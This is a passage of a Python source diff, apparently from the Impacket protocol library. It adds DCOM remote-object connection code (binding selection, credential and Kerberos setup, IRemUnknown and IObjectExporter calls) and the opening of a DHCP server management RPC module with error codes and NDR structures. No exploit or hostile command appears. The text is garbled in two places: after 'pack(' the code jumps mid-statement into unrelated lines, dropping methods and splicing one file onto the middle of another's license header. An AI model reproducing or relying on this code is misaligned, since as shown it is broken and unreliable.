INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['currentBinding'] = iid + else: + stringBindings = self.get_cinstance().get_string_bindings() + # No OXID present, we should create a new connection and store it + stringBinding = None + isTargetFQDN = self.is_fqdn() + LOG.debug('Target system is %s and isFQDN is %s' % (self.get_target(), isTargetFQDN)) + for strBinding in stringBindings: + # Here, depending on the get_target() value several things can happen + # 1) it's an IPv4 address + # 2) it's an IPv6 address + # 3) it's a NetBios Name + # we should handle all this cases accordingly + # Does this match exactly what get_target() returns? + LOG.debug('StringBinding: %s' % strBinding['aNetworkAddr']) + if strBinding['wTowerId'] == 7: + # If there's port information, let's strip it for now. + if strBinding['aNetworkAddr'].find('[') >= 0: + binding, _, bindingPort = strBinding['aNetworkAddr'].partition('[') + bindingPort = '[' + bindingPort + else: + binding = strBinding['aNetworkAddr'] + bindingPort = '' + + if binding.upper().find(self.get_target().upper()) >= 0: + stringBinding = 'ncacn_ip_tcp:' + strBinding['aNetworkAddr'][:-1] + break + # If get_target() is a FQDN, does it match the hostname? + elif isTargetFQDN and binding.upper().find(self.get_target().upper().partition('.')[0]) >= 0: + # Here we replace the aNetworkAddr with self.get_target() + # This is to help resolving the target system name. + # self.get_target() has been resolved already otherwise we wouldn't be here whereas + # aNetworkAddr is usually the NetBIOS name and unless you have your DNS resolver + # with the right suffixes it will probably not resolve right. + stringBinding = 'ncacn_ip_tcp:%s%s' % (self.get_target(), bindingPort) + break + + LOG.debug('StringBinding chosen: %s' % stringBinding) + if stringBinding is None: + # Something wen't wrong, let's just report it + raise Exception('Can\'t find a valid stringBinding to connect') + + dcomInterface = transport.DCERPCTransportFactory(stringBinding) + if hasattr(dcomInterface, 'set_credentials'): + # This method exists only for selected protocol sequences. + dcomInterface.set_credentials(*DCOMConnection.PORTMAPS[self.__target].get_credentials()) + dcomInterface.set_kerberos(DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().get_kerberos(), + DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().get_kdcHost()) + dcomInterface.set_connect_timeout(300) + dce = dcomInterface.get_dce_rpc() + + if iid is None: + raise Exception('IID is None') + else: + dce.set_auth_level(self.__cinstance.get_auth_level()) + dce.set_auth_type(self.__cinstance.get_auth_type()) + + dce.connect() + + if iid is None: + raise Exception('IID is None') + else: + dce.bind(iid) + + if self.__oxid is None: + #import traceback + #traceback.print_stack() + raise Exception("OXID NONE, something wrong!!!") + + INTERFACE.CONNECTIONS[self.__target][current_thread().name] = {} + INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid] = {} + INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'] = dce + INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['currentBinding'] = iid + else: + # No connection created + raise Exception('No connection created') + + def request(self, req, iid = None, uuid = None): + req['ORPCthis'] = self.get_cinstance().get_ORPCthis() + req['ORPCthis']['flags'] = 0 + self.connect(iid) + dce = self.get_dce_rpc() + try: + resp = dce.request(req, uuid) + except Exception as e: + if str(e).find('RPC_E_DISCONNECTED') >= 0: + msg = str(e) + '\n' + msg += "DCOM keep-alive pinging it might not be working as expected. You can't be idle for more than 14 minutes!\n" + msg += "You should exit the app and start again\n" + raise DCERPCException(msg) + else: + raise + return resp + + def disconnect(self): + return INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'].disconnect() + + +# 3.1.1.5.6.1 IRemUnknown Methods +class IRemUnknown(INTERFACE): + def __init__(self, interface): + self._iid = IID_IRemUnknown + #INTERFACE.__init__(self, interface.get_cinstance(), interface.get_objRef(), interface.get_ipidRemUnknown(), + # interface.get_iPid(), target=interface.get_target()) + INTERFACE.__init__(self, interfaceInstance=interface) + self.set_oxid(interface.get_oxid()) + + def RemQueryInterface(self, cRefs, iids): + # For now, it only supports a single IID + request = RemQueryInterface() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + request['ripid'] = self.get_iPid() + request['cRefs'] = cRefs + request['cIids'] = len(iids) + for iid in iids: + _iid = IID() + _iid['Data'] = iid + request['iids'].append(_iid) + resp = self.request(request, IID_IRemUnknown, self.get_ipidRemUnknown()) + #resp.dump() + + return IRemUnknown2( + INTERFACE(self.get_cinstance(), None, self.get_ipidRemUnknown(), resp['ppQIResults']['std']['ipid'], + oxid=resp['ppQIResults']['std']['oxid'], oid=resp['ppQIResults']['std']['oxid'], + target=self.get_target())) + + def RemAddRef(self): + request = RemAddRef() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + request['cInterfaceRefs'] = 1 + element = REMINTERFACEREF() + element['ipid'] = self.get_iPid() + element['cPublicRefs'] = 1 + request['InterfaceRefs'].append(element) + resp = self.request(request, IID_IRemUnknown, self.get_ipidRemUnknown()) + return resp + + def RemRelease(self): + request = RemRelease() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + request['cInterfaceRefs'] = 1 + element = REMINTERFACEREF() + element['ipid'] = self.get_iPid() + element['cPublicRefs'] = 1 + request['InterfaceRefs'].append(element) + resp = self.request(request, IID_IRemUnknown, self.get_ipidRemUnknown()) + DCOMConnection.delOid(self.get_target(), self.get_oid()) + return resp + +# 3.1.1.5.7 IRemUnknown2 Interface +class IRemUnknown2(IRemUnknown): + def __init__(self, interface): + IRemUnknown.__init__(self, interface) + self._iid = IID_IRemUnknown2 + +# 3.1.2.5.1 IObjectExporter Methods +class IObjectExporter: + def __init__(self, dce): + self.__portmap = dce + + # 3.1.2.5.1.1 IObjectExporter::ResolveOxid (Opnum 0) + def ResolveOxid(self, pOxid, arRequestedProtseqs): + self.__portmap.connect() + self.__portmap.bind(IID_IObjectExporter) + request = ResolveOxid() + request['pOxid'] = pOxid + request['cRequestedProtseqs'] = len(arRequestedProtseqs) + for protSeq in arRequestedProtseqs: + request['arRequestedProtseqs'].append(protSeq) + resp = self.__portmap.request(request) + Oxids = b''.join(pack(' 0: + for oid in addToSet: + oidn = OID() + oidn['Data'] = oid + request['AddToSet'].append(oidn) + else: + request['AddToSet'] = NULL + + if len(delFromSet) > 0: + for oid in delFromSet: + oidn = OID() + oidn['Data'] = oid + request['DelFromSet'].append(oidn) + else: + request['DelFromSet'] = NULL + resp = self.__portmap.request(request) + return resp + + # 3.1.2.5.1.4 IObjectExporter::ServerAlive (Opnum 3) + def ServerAlive(self): + self.__portmap.connect() + self.__portmap.bind(IID_IObjectExporter) + request = ServerAlive() + resp = self.__portmap.request(request) + return resp + + # 3.1.2.5.1.5 IObjectExporter::ResolveOxid2 (Opnum 4) + def ResolveOxid2(self,pOxid, arRequestedProtseqs): + self.__portmap.connect() + self.__portmap.bind(IID_IObjectExporter) + request = ResolveOxid2() + request['pOxid'] = pOxid + request['cRequestedProtseqs'] = len(arRequestedProtseqs) + for protSeq in arRequestedProtseqs: + request['arRequestedProtseqs'].append(protSeq) + resp = self.__portmap.request(request) + Oxids = b''.join(pack('. +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) +# + +from __future__ import division +from __future__ import print_function +from impacket import system_errors +from impacket.dcerpc.v5.dtypes import LPWSTR, ULONG, NULL, DWORD, BOOL, BYTE, LPDWORD, WORD +from impacket.dcerpc.v5.ndr import NDRCALL, NDRUniConformantArray, NDRPOINTER, NDRSTRUCT, NDRENUM, NDRUNION +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.dcerpc.v5.enum import Enum +from impacket.uuid import uuidtup_to_bin + +MSRPC_UUID_DHCPSRV = uuidtup_to_bin(('6BFFD098-A112-3610-9833-46C3F874532D', '1.0')) +MSRPC_UUID_DHCPSRV2 = uuidtup_to_bin(('5B821720-F63B-11D0-AAD2-00C04FC324DB', '1.0')) + + +################################################################################ +# CONSTANTS +################################################################################ +DHCP_SRV_HANDLE = LPWSTR +DHCP_IP_ADDRESS = DWORD +DHCP_IP_MASK = DWORD +DHCP_OPTION_ID = DWORD + +# DHCP enumeratiom flags +DHCP_FLAGS_OPTION_DEFAULT = 0x00000000 +DHCP_FLAGS_OPTION_IS_VENDOR = 0x00000003 + +# Errors +ERROR_DHCP_REGISTRY_INIT_FAILED = 0x00004E20 +ERROR_DHCP_DATABASE_INIT_FAILED = 0x00004E21 +ERROR_DHCP_RPC_INIT_FAILED = 0x00004E22 +ERROR_DHCP_NETWORK_INIT_FAILED = 0x00004E23 +ERROR_DHCP_SUBNET_EXITS = 0x00004E24 +ERROR_DHCP_SUBNET_NOT_PRESENT = 0x00004E25 +ERROR_DHCP_PRIMARY_NOT_FOUND = 0x00004E26 +ERROR_DHCP_ELEMENT_CANT_REMOVE = 0x00004E27 +ERROR_DHCP_OPTION_EXITS = 0x00004E29 +ERROR_DHCP_OPTION_NOT_PRESENT = 0x00004E2A +ERROR_DHCP_ADDRESS_NOT_AVAILABLE = 0x00004E2B +ERROR_DHCP_RANGE_FULL = 0x00004E2C +ERROR_DHCP_JET_ERROR = 0x00004E2D +ERROR_DHCP_CLIENT_EXISTS = 0x00004E2E +ERROR_DHCP_INVALID_DHCP_MESSAGE = 0x00004E2F +ERROR_DHCP_INVALID_DHCP_CLIENT = 0x00004E30 +ERROR_DHCP_SERVICE_PAUSED = 0x00004E31 +ERROR_DHCP_NOT_RESERVED_CLIENT = 0x00004E32 +ERROR_DHCP_RESERVED_CLIENT = 0x00004E33 +ERROR_DHCP_RANGE_TOO_SMALL = 0x00004E34 +ERROR_DHCP_IPRANGE_EXITS = 0x00004E35 +ERROR_DHCP_RESERVEDIP_EXITS = 0x00004E36 +ERROR_DHCP_INVALID_RANGE = 0x00004E37 +ERROR_DHCP_RANGE_EXTENDED = 0x00004E38 +ERROR_EXTEND_TOO_SMALL = 0x00004E39 +WARNING_EXTENDED_LESS = 0x00004E3A +ERROR_DHCP_JET_CONV_REQUIRED = 0x00004E3B +ERROR_SERVER_INVALID_BOOT_FILE_TABLE = 0x00004E3C +ERROR_SERVER_UNKNOWN_BOOT_FILE_NAME = 0x00004E3D +ERROR_DHCP_SUPER_SCOPE_NAME_TOO_LONG = 0x00004E3E +ERROR_DHCP_IP_ADDRESS_IN_USE = 0x00004E40 +ERROR_DHCP_LOG_FILE_PATH_TOO_LONG = 0x00004E41 +ERROR_DHCP_UNSUPPORTED_CLIENT = 0x00004E42 +ERROR_DHCP_JET97_CONV_REQUIRED = 0x00004E44 +ERROR_DHCP_ROGUE_INIT_FAILED = 0x00004E45 +ERROR_DHCP_ROGUE_SAMSHUTDOWN = 0x00004E46 +ERROR_DHCP_ROGUE_NOT_AUTHORIZED = 0x00004E47 +ERROR_DHCP_ROGUE_DS_UNREACHABLE = 0x00004E48 +ERROR_DHCP_ROGUE_DS_CONFLICT = 0x00004E49 +ERROR_DHCP_ROGUE_NOT_OUR_ENTERPRISE = 0x00004E4A +ERROR_DHCP_ROGUE_STANDALONE_IN_DS = 0x00004E4B +ERROR_DHCP_CLASS_NOT_FOUND = 0x00004E4C +ERROR_DHCP_CLASS_ALREADY_EXISTS = 0x00004E4D +ERROR_DHCP_SCOPE_NAME_TOO_LONG = 0x00004E4E +ERROR_DHCP_DEFAULT_SCOPE_EXITS = 0x00004E4F +ERROR_DHCP_CANT_CHANGE_ATTRIBUTE = 0x00004E50 +ERROR_DHCP_IPRANGE_CONV_ILLEGAL = 0x00004E51 +ERROR_DHCP_NETWORK_CHANGED = 0x00004E52 +ERROR_DHCP_CANNOT_MODIFY_BINDINGS = 0x00004E53 +ERROR_DHCP_SUBNET_EXISTS = 0x00004E54 +ERROR_DHCP_MSCOPE_EXISTS = 0x00004E55 +ERROR_MSCOPE_RANGE_TOO_SMALL = 0x00004E56 +ERROR_DHCP_EXEMPTION_EXISTS = 0x00004E57 +ERROR_DHCP_EXEMPTION_NOT_PRESENT = 0x00004E58 +ERROR_DHCP_INVALID_PARAMETER_OPTION32 = 0x00004E59 +ERROR_DDS_NO_DS_AVAILABLE = 0x00004E66 +ERROR_DDS_NO_DHCP_ROOT = 0x00004E67 +ERROR_DDS_UNEXPECTED_ERROR = 0x00004E68 +ERROR_DDS_TOO_MANY_ERRORS = 0x00004E69 +ERROR_DDS_DHCP_SERVER_NOT_FOUND = 0x00004E6A +ERROR_DDS_OPTION_ALREADY_EXISTS = 0x00004E6B +ERROR_DDS_OPTION_DOES_NOT_EXIST = 0x00004E6C +ERROR_DDS_CLASS_EXISTS = 0x00004E6D +ERROR_DDS_CLASS_DOES_NOT_EXIST = 0x00004E6E +ERROR_DDS_SERVER_ALREADY_EXISTS = 0x00004E6F +ERROR_DDS_SERVER_DOES_NOT_EXIST = 0x00004E70 +ERROR_DDS_SERVER_ADDRESS_MISMATCH = 0x00004E71 +ERROR_DDS_SUBNET_EXISTS = 0x00004E72 +ERROR_DDS_SUBNET_HAS_DIFF_SSCOPE = 0x00004E73 +ERROR_DDS_SUBNET_NOT_PRESENT = 0x00004E74 +ERROR_DDS_RESERVATION_NOT_PRESENT = 0x00004E75 +ERROR_DDS_RESERVATION_CONFLICT = 0x00004E76 +ERROR_DDS_POSSIBLE_RANGE_CONFLICT = 0x00004E77 +ERROR_DDS_RANGE_DOES_NOT_EXIST = 0x00004E78 +ERROR_DHCP_DELETE_BUILTIN_CLASS = 0x00004E79 +ERROR_DHCP_INVALID_SUBNET_PREFIX = 0x00004E7B +ERROR_DHCP_INVALID_DELAY = 0x00004E7C +ERROR_DHCP_LINKLAYER_ADDRESS_EXISTS = 0x00004E7D +ERROR_DHCP_LINKLAYER_ADDRESS_RESERVATION_EXISTS = 0x00004E7E +ERROR_DHCP_LINKLAYER_ADDRESS_DOES_NOT_EXIST = 0x00004E7F +ERROR_DHCP_HARDWARE_ADDRESS_TYPE_ALREADY_EXEMPT = 0x00004E85 +ERROR_DHCP_UNDEFINED_HARDWARE_ADDRESS_TYPE = 0x00004E86 +ERROR_DHCP_OPTION_TYPE_MISMATCH = 0x00004E87 +ERROR_DHCP_POLICY_BAD_PARENT_EXPR = 0x00004E88 +ERROR_DHCP_POLICY_EXISTS = 0x00004E89 +ERROR_DHCP_POLICY_RANGE_EXISTS = 0x00004E8A +ERROR_DHCP_POLICY_RANGE_BAD = 0x00004E8B +ERROR_DHCP_RANGE_INVALID_IN_SERVER_POLICY = 0x00004E8C +ERROR_DHCP_INVALID_POLICY_EXPRESSION = 0x00004E8D +ERROR_DHCP_INVALID_PROCESSING_ORDER = 0x00004E8E +ERROR_DHCP_POLICY_NOT_FOUND = 0x00004E8F +ERROR_SCOPE_RANGE_POLICY_RANGE_CONFLICT = 0x00004E90 + +# DHCP failover error codes +ERROR_DHCP_FO_SCOPE_ALREADY_IN_RELATIONSHIP = 0x00004E91 +ERROR_DHCP_FO_RELATIONSHIP_EXISTS = 0x00004E92 + +ERROR_DHCP_FO_RELATIONSHIP_DOES_NOT_EXIST = 0x00004E93 +ERROR_DHCP_FO_SCOPE_NOT_IN_RELATIONSHIP = 0x00004E94 +ERROR_DHCP_FO_RELATION_IS_SECONDARY = 0x00004E95 +ERROR_DHCP_FO_NOT_SUPPORTED = 0x00004E96 +ERROR_DHCP_FO_TIME_OUT_OF_SYNC = 0x00004E97 +ERROR_DHCP_FO_STATE_NOT_NORMAL = 0x00004E98 +ERROR_DHCP_NO_ADMIN_PERMISSION = 0x00004E99 + +ERROR_DHCP_SERVER_NOT_REACHABLE = 0x00004E9A +ERROR_DHCP_SERVER_NOT_RUNNING = 0x00004E9B +ERROR_DHCP_SERVER_NAME_NOT_RESOLVED = 0x00004E9C +ERROR_DHCP_FO_RELATIONSHIP_NAME_TOO_LONG = 0x00004E9D +ERROR_DHCP_REACHED_END_OF_SELECTION = 0x00004E9E +ERROR_DHCP_FO_ADDSCOPE_LEASES_NOT_SYNCED = 0x00004E9F +ERROR_DHCP_FO_MAX_RELATIONSHIPS = 0x00004EA0 +ERROR_DHCP_FO_IPRANGE_TYPE_CONV_ILLEGAL = 0x00004EA1 +ERROR_DHCP_FO_MAX_ADD_SCOPES = 0x00004EA2 +ERROR_DHCP_FO_BOOT_NOT_SUPPORTED = 0x00004EA3 +ERROR_DHCP_FO_RANGE_PART_OF_REL = 0x00004EA4 +ERROR_DHCP_FO_SCOPE_SYNC_IN_PROGRESS = 0x00004EA5 +ERROR_DHCP_FO_FEATURE_NOT_SUPPORTED = 0x00004EA6 +ERROR_DHCP_POLICY_FQDN_RANGE_UNSUPPORTED = 0x00004EA7 +ERROR_DHCP_POLICY_FQDN_OPTION_UNSUPPORTED = 0x00004EA8 +ERROR_DHCP_POLICY_EDIT_FQDN_UNSUPPORTED = 0x00004EA9 +ERROR_DHCP_NAP_NOT_SUPPORTED = 0x00004EAA +ERROR_LAST_DHCP_SERVER_ERROR = 0x00004EAB + + +class DCERPCSessionError(DCERPCException): + ERROR_MESSAGES = { + ERROR_DHCP_JET_ERROR: ("ERROR_DHCP_JET_ERROR", + "An error occurred while accessing the DHCP server database."), + ERROR_DHCP_SUBNET_NOT_PRESENT: ("ERROR_DHCP_SUBNET_NOT_PRESENT", + "The specified IPv4 subnet does not exist."), + ERROR_DHCP_SUBNET_EXISTS: ("ERROR_DHCP_SUBNET_EXISTS", + "The IPv4 scope parameters are incorrect. Either the IPv4 scope already" + " exists, corresponding to the SubnetAddress and SubnetMask members of " + "the structure DHCP_SUBNET_INFO (section 2.2.1.2.8), or there is a " + "range overlap of IPv4 addresses between those associated with the " + "SubnetAddress and SubnetMask fields of the new IPv4 scope and the " + "subnet address and mask of an already existing IPv4 scope"), + ERROR_DHCP_INVALID_DHCP_CLIENT: ("ERROR_DHCP_INVALID_DHCP_CLIENT", + "The DHCP server received an invalid message from the client."), + } + + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__(self): + key = self.error_code + if key in system_errors.ERROR_MESSAGES: + error_msg_short = system_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] + return 'DHCPM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + elif key in self.ERROR_MESSAGES: + error_msg_short = self.ERROR_MESSAGES[key][0] + error_msg_verbose = self.ERROR_MESSAGES[key][1] + return 'DHCPM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'DHCPM SessionError: unknown error code: 0x%x' % self.error_code + + +################################################################################ +# STRUCTURES +################################################################################ +# 2.2.1.1.3 DHCP_SEARCH_INFO_TYPE +class DHCP_SEARCH_INFO_TYPE(NDRENUM): + class enumItems(Enum): + DhcpClientIpAddress = 0 + DhcpClientHardwareAddress = 1 + DhcpClientName = 2 + +# 2.2.1.1.11 QuarantineStatus +class QuarantineStatus(NDRENUM): + class enumItems(Enum): + NOQUARANTINE = 0 + RESTRICTEDACCESS = 1 + DROPPACKET = 2 + PROBATION = 3 + EXEMPT = 4 + DEFAULTQUARSETTING = 5 + NOQUARINFO = 6 + +# 2.2.1.2.7 DHCP_HOST_INFO +class DHCP_HOST_INFO(NDRSTRUCT): + structure = ( + ('IpAddress', DHCP_IP_ADDRESS), + ('NetBiosName', LPWSTR), + ('HostName', LPWSTR), + ) + +# 2.2.1.2.9 DHCP_BINARY_DATA +class BYTE_ARRAY(NDRUniConformantArray): + item = 'c' + +class PBYTE_ARRAY(NDRPOINTER): + referent = ( + ('Data', BYTE_ARRAY), + ) + +class DHCP_BINARY_DATA(NDRSTRUCT): + structure = ( + ('DataLength', DWORD), + ('Data_', PBYTE_ARRAY), + ) + +DHCP_CLIENT_UID = DHCP_BINARY_DATA + +# 2.2.1.2.11 DATE_TIME +class DATE_TIME(NDRSTRUCT): + structure = ( + ('dwLowDateTime', DWORD), + ('dwHighDateTime', DWORD), + ) + +# 2.2.1.2.19 DHCP_CLIENT_INFO_VQ +class DHCP_CLIENT_INFO_VQ(NDRSTRUCT): + structure = ( + ('ClientIpAddress', DHCP_IP_ADDRESS), + ('SubnetMask', DHCP_IP_MASK), + ('ClientHardwareAddress', DHCP_CLIENT_UID), + ('ClientName', LPWSTR), + ('ClientComment', LPWSTR), + ('ClientLeaseExpires', DATE_TIME), + ('OwnerHost', DHCP_HOST_INFO), + ('bClientType', BYTE), + ('AddressState', BYTE), + ('Status', QuarantineStatus), + ('ProbationEnds', DATE_TIME), + ('QuarantineCapable', BOOL), + ) + +class DHCP_CLIENT_SEARCH_UNION(NDRUNION): + union = { + DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress: ('ClientIpAddress', DHCP_IP_ADDRESS), + DHCP_SEARCH_INFO_TYPE.DhcpClientHardwareAddress: ('ClientHardwareAddress', DHCP_CLIENT_UID), + DHCP_SEARCH_INFO_TYPE.DhcpClientName: ('ClientName', LPWSTR), + } + +class DHCP_SEARCH_INFO(NDRSTRUCT): + structure = ( + ('SearchType', DHCP_SEARCH_INFO_TYPE), + ('SearchInfo', DHCP_CLIENT_SEARCH_UNION), + ) + +# 2.2.1.2.14 DHCP_CLIENT_INFO_V4 +class DHCP_CLIENT_INFO_V4(NDRSTRUCT): + structure = ( + ('ClientIpAddress', DHCP_IP_ADDRESS), + ('SubnetMask', DHCP_IP_MASK), + ('ClientHardwareAddress', DHCP_CLIENT_UID), + ('ClientName', LPWSTR), + ('ClientComment', LPWSTR), + ('ClientLeaseExpires', DATE_TIME), + ('OwnerHost', DHCP_HOST_INFO), + ('bClientType', BYTE), + ) + +class DHCP_CLIENT_INFO_V5(NDRSTRUCT): + structure = ( + ('ClientIpAddress', DHCP_IP_ADDRESS), + ('SubnetMask', DHCP_IP_MASK), + ('ClientHardwareAddress', DHCP_CLIENT_UID), + ('ClientName', LPWSTR), + ('ClientComment', LPWSTR), + ('ClientLeaseExpires', DATE_TIME), + ('OwnerHost', DHCP_HOST_INFO), + ('bClientType', BYTE), + ('AddressState', BYTE), + ) + +class LPDHCP_CLIENT_INFO_V4(NDRPOINTER): + referent = ( + ('Data', DHCP_CLIENT_INFO_V4), + ) + +class LPDHCP_CLIENT_INFO_V5(NDRPOINTER): + referent = ( + ('Data', DHCP_CLIENT_INFO_V5), + ) + +# 2.2.1.2.115 DHCP_CLIENT_INFO_PB +class DHCP_CLIENT_INFO_PB(NDRSTRUCT): + structure = ( + ('ClientIpAddress', DHCP_IP_ADDRESS), + ('SubnetMask', DHCP_IP_MASK), + ('ClientHardwareAddress', DHCP_CLIENT_UID), + ('ClientName', LPWSTR), + ('ClientComment', LPWSTR), + ('ClientLeaseExpires', DATE_TIME), + ('OwnerHost', DHCP_HOST_INFO), + ('bClientType', BYTE), + ('AddressState', BYTE), + ('Status', QuarantineStatus), + ('ProbationEnds', DATE_TIME), + ('QuarantineCapable', BOOL), + ('FilterStatus', DWORD), + ('PolicyName', LPWSTR), + ) + +class LPDHCP_CLIENT_INFO_PB(NDRPOINTER): + referent = ( + ('Data', DHCP_CLIENT_INFO_PB), + ) + +class LPDHCP_CLIENT_INFO_VQ(NDRPOINTER): + referent = ( + ('Data', DHCP_CLIENT_INFO_VQ), + ) + +class DHCP_CLIENT_INFO_VQ_ARRAY(NDRUniConformantArray): + item = LPDHCP_CLIENT_INFO_VQ + +class LPDHCP_CLIENT_INFO_VQ_ARRAY(NDRPOINTER): + referent = ( + ('Data', DHCP_CLIENT_INFO_VQ_ARRAY), + ) + +class DHCP_CLIENT_INFO_ARRAY_VQ(NDRSTRUCT): + structure = ( + ('NumElements', DWORD), + ('Clients', LPDHCP_CLIENT_INFO_VQ_ARRAY), + ) + +class LPDHCP_CLIENT_INFO_ARRAY_VQ(NDRPOINTER): + referent = ( + ('Data', DHCP_CLIENT_INFO_ARRAY_VQ), + ) + +class DHCP_CLIENT_INFO_V4_ARRAY(NDRUniConformantArray): + item = LPDHCP_CLIENT_INFO_V4 + +class DHCP_CLIENT_INFO_V5_ARRAY(NDRUniConformantArray): + item = LPDHCP_CLIENT_INFO_V5 + +class LPDHCP_CLIENT_INFO_V4_ARRAY(NDRPOINTER): + referent = ( + ('Data', DHCP_CLIENT_INFO_V4_ARRAY), + ) + +class LPDHCP_CLIENT_INFO_V5_ARRAY(NDRPOINTER): + referent = ( + ('Data', DHCP_CLIENT_INFO_V5_ARRAY), + ) + +class DHCP_CLIENT_INFO_ARRAY_V4(NDRSTRUCT): + structure = ( + ('NumElements', DWORD), + ('Clients', LPDHCP_CLIENT_INFO_V4_ARRAY), + ) + +class DHCP_CLIENT_INFO_ARRAY_V5(NDRSTRUCT): + structure = ( + ('NumElements', DWORD), + ('Clients', LPDHCP_CLIENT_INFO_V5_ARRAY), + ) + +class LPDHCP_CLIENT_INFO_ARRAY_V5(NDRPOINTER): + referent = ( + ('Data', DHCP_CLIENT_INFO_ARRAY_V5), + ) + +class LPDHCP_CLIENT_INFO_ARRAY_V4(NDRPOINTER): + referent = ( + ('Data', DHCP_CLIENT_INFO_ARRAY_V4), + ) + +class DHCP_IP_ADDRESS_ARRAY(NDRUniConformantArray): + item = DHCP_IP_ADDRESS + +class LPDHCP_IP_ADDRESS_ARRAY(NDRPOINTER): + referent = ( + ('Data', DHCP_IP_ADDRESS_ARRAY), + ) + +class DHCP_IP_ARRAY(NDRSTRUCT): + structure = ( + ('NumElements', DWORD), + ('Elements', LPDHCP_IP_ADDRESS_ARRAY), + ) + +class DHCP_SUBNET_STATE(NDRENUM): + class enumItems(Enum): + DhcpSubnetEnabled = 0 + DhcpSubnetDisabled = 1 + DhcpSubnetEnabledSwitched = 2 + DhcpSubnetDisabledSwitched = 3 + DhcpSubnetInvalidState = 4 + +class DHCP_SUBNET_INFO(NDRSTRUCT): + structure = ( + ('SubnetAddress', DHCP_IP_ADDRESS), + ('SubnetMask', DHCP_IP_MASK), + ('SubnetName', LPWSTR), + ('SubnetComment', LPWSTR), + ('PrimaryHost', DHCP_HOST_INFO), + ('SubnetState', DHCP_SUBNET_STATE), + ) + +class LPDHCP_SUBNET_INFO(NDRPOINTER): + referent = ( + ('Data', DHCP_SUBNET_INFO), + ) + +class DHCP_OPTION_SCOPE_TYPE(NDRENUM): + class enumItems(Enum): + DhcpDefaultOptions = 0 + DhcpGlobalOptions = 1 + DhcpSubnetOptions = 2 + DhcpReservedOptions = 3 + DhcpMScopeOptions = 4 + +class DHCP_RESERVED_SCOPE(NDRSTRUCT): + structure = ( + ('ReservedIpAddress', DHCP_IP_ADDRESS), + ('ReservedIpSubnetAddress', DHCP_IP_ADDRESS), + ) + +class DHCP_OPTION_SCOPE_UNION(NDRUNION): + union = { + DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions : (), + DHCP_OPTION_SCOPE_TYPE.DhcpGlobalOptions : (), + DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions : ('SubnetScopeInfo', DHCP_IP_ADDRESS), + DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions : ('ReservedScopeInfo', DHCP_RESERVED_SCOPE), + DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions : ('MScopeInfo', LPWSTR), + } + +class DHCP_OPTION_SCOPE_INFO(NDRSTRUCT): + structure = ( + ('ScopeType', DHCP_OPTION_SCOPE_TYPE), + ('ScopeInfo', DHCP_OPTION_SCOPE_UNION), + ) + +class LPDHCP_OPTION_SCOPE_INFO(NDRPOINTER): + referent = ( + ('Data', DHCP_OPTION_SCOPE_INFO) + ) + +class DWORD_DWORD(NDRSTRUCT): + structure = ( + ('DWord1', DWORD), + ('DWord2', DWORD), + ) + +class DHCP_BOOTP_IP_RANGE(NDRSTRUCT): + structure = ( + ('StartAddress', DHCP_IP_ADDRESS), + ('EndAddress', DHCP_IP_ADDRESS), + ('BootpAllocated', ULONG), + ('MaxBootpAllowed', DHCP_IP_ADDRESS), + ('MaxBootpAllowed', ULONG ), + ) + +class DHCP_IP_RESERVATION_V4(NDRSTRUCT): + structure = ( + ('ReservedIpAddress', DHCP_IP_ADDRESS), + ('ReservedForClient', DHCP_CLIENT_UID), + ('bAllowedClientTypes', BYTE), + ) + +class DHCP_IP_RANGE(NDRSTRUCT): + structure = ( + ('StartAddress', DHCP_IP_ADDRESS), + ('EndAddress', DHCP_IP_ADDRESS), + ) + +class DHCP_IP_CLUSTER(NDRSTRUCT): + structure = ( + ('ClusterAddress', DHCP_IP_ADDRESS), + ('ClusterMask', DWORD), + ) + +class DHCP_SUBNET_ELEMENT_TYPE(NDRENUM): + class enumItems(Enum): + DhcpIpRanges = 0 + DhcpSecondaryHosts = 1 + DhcpReservedIps = 2 + DhcpExcludedIpRanges = 3 + DhcpIpUsedClusters = 4 + DhcpIpRangesDhcpOnly = 5 + DhcpIpRangesDhcpBootp = 6 + DhcpIpRangesBootpOnly = 7 + +class DHCP_SUBNET_ELEMENT_UNION_V5(NDRUNION): + union = { + DHCP_SUBNET_ELEMENT_TYPE.DhcpIpRanges : ('IpRange', DHCP_BOOTP_IP_RANGE), + DHCP_SUBNET_ELEMENT_TYPE.DhcpSecondaryHosts : ('SecondaryHost', DHCP_HOST_INFO), + DHCP_SUBNET_ELEMENT_TYPE.DhcpReservedIps : ('ReservedIp', DHCP_IP_RESERVATION_V4), + DHCP_SUBNET_ELEMENT_TYPE.DhcpExcludedIpRanges : ('ExcludeIpRange', DHCP_IP_RANGE), + DHCP_SUBNET_ELEMENT_TYPE.DhcpIpUsedClusters : ('IpUsedCluster', DHCP_IP_CLUSTER), + } + +class DHCP_SUBNET_ELEMENT_DATA_V5(NDRSTRUCT): + structure = ( + ('ElementType', DHCP_SUBNET_ELEMENT_TYPE), + ('Element', DHCP_SUBNET_ELEMENT_UNION_V5), + ) + +class LPDHCP_SUBNET_ELEMENT_DATA_V5(NDRUniConformantArray): + item = DHCP_SUBNET_ELEMENT_DATA_V5 + +class 